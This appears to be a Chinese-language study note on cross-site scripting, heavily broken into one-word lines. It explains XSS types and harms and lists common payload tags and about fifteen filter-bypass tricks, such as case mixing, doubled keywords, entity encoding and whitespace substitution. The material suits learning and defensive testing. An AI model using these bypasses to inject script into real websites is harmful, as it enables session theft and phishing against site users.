本质上是用户输入
js
,
html
代码,提交至服务器(可不经过),前端和后端均未对用户的输入和输出进
行合理的过滤和限制,导致恶意
js
代码以及
html
代码被注入到网页中
危害:钓鱼欺骗、获取会话、会话劫持、网页蠕虫病毒等;
即前端代码注入,代码注入类
代码注入的本质:把用户的输入当作代码执行;
基本流程
如何引用
js
1
、
script
标签
<
script
>
console
.
log
()
<
/script>
2
、
script
标签中的
src
属性
<
script src
=
"http://a.com/j.js"
><
/script>
3
、事件(
on
),(鼠标键盘窗口)
<
input onclick
=
console
.
log
()
>
<
img src
=
x onerror
=
console
.
log
()
>
4
、
a
标签
href
属性构造伪协议
<
a href
=
javascript
:
console
.
log
()
>
baidu
<
/a>
常见构造标签:
<script>alert(1)</script>
<img
src
=
x
onerror
=
alert(1)>
<svg
onload
=
alert(1)>
<input
onmouseover
=
"console.log(5)"
>
<a
href
=
"javascript:alert(1)"
>
<input
type
=
text
onclick
=
alert(1)>
等等
xss
分类
1
、反射型
xss
恶意代码经过服务器但不存储于服务器,一次性
2
、存储型
xss
恶意代码经过服务器且存储于服务器(文件,数据库)
3
、
dom
型(也算反射型的一种)
xss
恶意代码不经过服务器,无需和服务器交互,发生在客户端处理数据时
xss
语句及过滤
1
、无尖括号,可选择用事件触发
js
代码
2
、无法使用
script
标签及
js
事件的情况下,可选择用
a
标签引入伪协议,例:
<a
href
=
"javascript:alert(1)"
>
random
</a>
3
、某些属性被替换,可选择大小写绕过限制
例:
">
<a
hREf
=
"javascript:alert(1)"
>
asdf
</a>
用大小写穿插的方式替换
href
4
、存在过滤属性名、标签名的情况,如果过滤不严谨可尝试双写;
">
<a
hrhrefef
=
"javascrscriptipt:alert(1)"
>
asdf
</a>
5
、可尝试使用实体编码替换
xss
语句中值的部分,
例:
<a
href
=
"javascript:alert(1)"
>
友情链接
</a>
可替换
href
后的部分,参数无法替换
6
、观察页面,有些输入框是隐藏属性
7
、除了正常的
GET
、
POST
请求外,
http
请求头,有时也可以构造
xss
8
、
ng-include,
①需要指定的是同域名下的图片或文件②搭配事件或其他
js
触发方式
9
、空格被替换,可选择类似
sql
注入中的替换方法,
%0a
、
%0d
、
%09
、
/
等
10
、反单引号替换括号、中括号
11
、
img
、
input
等自闭和标签无需闭合,结尾尖括号也可省略,属性后记得加空格
12
、引入恶意
js
时,可选用邮箱格式,用户名
@
网址,例:
baidu.com@qq.com
,
等价于baidu.co
作为用户名去访问qq
13
、正则不严谨时可使用空格绕过正则
14
、
svg
标签中可解析实体编码
15
、标签内增加空白符,不影响标签原有意义